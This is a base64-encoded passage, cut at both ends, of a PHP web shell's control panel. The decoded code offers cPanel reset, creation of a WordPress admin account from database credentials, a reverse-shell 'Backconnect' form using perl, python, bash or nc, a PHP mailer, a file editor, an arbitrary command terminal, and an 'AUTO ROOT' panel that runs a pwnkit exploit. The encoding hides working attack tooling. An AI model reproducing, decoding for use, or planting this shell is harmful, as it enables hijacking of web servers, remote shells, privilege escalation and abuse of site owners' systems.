4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyIgaWQ9ImNsb3NlLW1vZGFsIj5DbG9zZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydjcGFuZWxyZXNldCddKSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPjo6IENwYW5lbCBSZXNldCA8L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1pc2kiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJyZXNldGNwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iWW91ciBlbWFpbCA6IGV4YW1wbGVAbWFpbC5jb20iPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxhIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyIgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4iPkNsb3NlPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmIChpc3NldCgkX0dFVFsnY3JlYXRld3AnXSkpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPkNSRUFURSBXT1JEUFJFU1MgQURNSU4gUEFTU1dPUkQ8L2NlbnRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWlzaSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJfbmFtZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkRCX05BTUUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiX3VzZXIiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJEQl9VU0VSIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYl9wYXNzd29yZCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IkRCX1BBU1NXT1JEIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYl9ob3N0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iREJfSE9TVCIgdmFsdWU9IjEyNy4wLjAuMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aHIgc2l6ZT0iMiIgY29sb3I9ImJsYWNrIiBzdHlsZT0ibWFyZ2luOjBweCAzMHB4OyBib3JkZXItcmFkaXVzOjNweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndwX3VzZXIiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJZb3VyIFVzZXJuYW1lIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ3cF9wYXNzIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iWW91ciBQYXNzd29yZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdHdwIiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxhIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyIgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4iPkNsb3NlPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmIChpc3NldCgkX0dFVFsnYmFja2Nvbm5lY3QnXSkpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj46OiBCYWNrY29ubmVjdDwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImJjLWdlY2tvIGJveC1zaGFkb3ciIG5hbWU9ImdlY2tvLWJjIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0iPkNob29zZSBCYWNrY29ubmVjdDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGVybCI+UGVybDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icHl0aG9uIj5QeXRob248L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InJ1YnkiPlJ1Ynk8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImJhc2giPkJhc2g8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJuYyI+bmM8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InNoIj5zaDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ieHRlcm0iPlh0ZXJtPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJnb2xhbmciPkdvbGFuZzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJhY2tjb25uZWN0LWhvc3QiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSIxMjcuMC4wLjEiPgogICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJiYWNrY29ubmVjdC1wb3J0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iMTMzNyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1iYyIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YSBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+Ij5DbG9zZTwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ21haWxlciddKSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPjo6IFBIUCBNYWlsZXI8L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1pc2kiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtbWFpbC10ZXh0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2Utc210cCIgY2xhc3M9ImJveC1zaGFkb3cgbWFpbCIgcGxhY2Vob2xkZXI9IiZuYnNwO1lvdXIgVGV4dCBoZXJlISI+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1haWx0by1zdWJqZWN0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iU3ViamVjdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9Im1haWwtZnJvbS1zbXRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iZnJvbSA6IGV4YW1wbGVAbWFpbC5jb20iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJtYWlsLXRvLXNtdHAiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJ0byA6IGV4YW1wbGVAbWFpbC5jb20iPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxhIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyIgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4iPkNsb3NlPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsnZiddKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3IiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2RlLWVkaXRvci1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3ItaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jb2RlIj48L2k+Jm5ic3A7IENvZGUgRWRpdG9yIDogPD89IHVueCgkX0dFVFsnZiddKTsgPz48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2RlLWVkaXRvci1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvZGUtZWRpdG9yIiBpZD0iY29kZSIgY2xhc3M9ImJveC1zaGFkb3ciIGF1dG9mb2N1cz48Pz0gJGZ1bmdzaVsxMF0oJGZ1bmdzaVsxMV0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZS1lZGl0b3IiIHZhbHVlPSJTYXZlIiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIj4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiIGlkPSJjbG9zZS1lZGl0b3IiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJub3JtYWwiKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InRlcm1pbmFsLXRpdGxlIj48Yj48aSBjbGFzcz0iZmEtc29saWQgZmEtdGVybWluYWwiPjwvaT4mbmJzcDtURVJNSU5BTDwvYj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImJveC1zaGFkb3ciIGRpc2FibGVkPjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTBdKGNtZCgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSAuICIgMj4mMSIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgY2xhc3M9InRlcm1pbmFsLWlucHV0IGJveC1zaGFkb3ciIHBsYWNlaG9sZGVyPSI8Pz0gJGZ1bmdzaVs5XSgpIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gInJvb3QiKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InRlcm1pbmFsLXRpdGxlIj48Yj48aSBjbGFzcz0iZmEtc29saWQgZmEtdGVybWluYWwiPjwvaT4mbmJzcDtBVVRPIFJPT1Q8L2I+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImNsb3NlLXRlcm1pbmFsIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcmlnaHQtZnJvbS1icmFja2V0Ij48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9IiIgZGlzYWJsZWQ+PD9waHAgaWYgKCRmdW5nc2lbM10oJy5tYWQtcm9vdCcpICYmICRmdW5nc2lbM10oJ3B3bmtpdCcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSAkZnVuZ3NpWzExXSgnLm1hZC1yb290Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcl90ZXh0ID0gZXhwbG9kZSgiICIsICRyZXNwb25zZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHJfdGV4dFswXSA9PSAidWlkPTAocm9vdCkiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0LXJvb3QnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBjbWQoJy4vcHdua2l0ICInIC4gJF9QT1NUWydyb290LXRlcm1pbmFsJ10gLiAnICAyPiYxIicpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhpcyBEZXZpY2UgSXMgTm90IFZ1bG5lcmFibGVcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBjbWQoJ2NhdCAvZXRjL29zLXJlbGVhc2UnKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiS2VybmVsIFZlcnNpb24gOiAiIC4gc3VnZ2VzdF9leHBsb2l0KCkgLiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bmdzaVsyNF0oJy5tYWQtcm9vdCcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb290LXRlcm1pbmFsIiBjbGFzcz0idGVybWluYWwtaW5wdXQiIHBsYWNlaG9sZGVyPSI8Pz0gInJvb3QiIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtcm9vdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3JlJ10gPT0gdHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIGFjdGl2ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPlJlbmFtZSA6IDw/PSB1bngoJF9HRVRbJ3JlJ10pID8+PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lRmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlJlbmFtZSI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGJ1dHRvbiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3cgY2xvc2UtYnRuLXMiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydjaCddID09IHRydWUpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj5DaGFuZ2UgUGVybWlzc2lvbiA6IDw/PSB1bngoJF9HRVRbJ2NoJ10pID8+PC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0I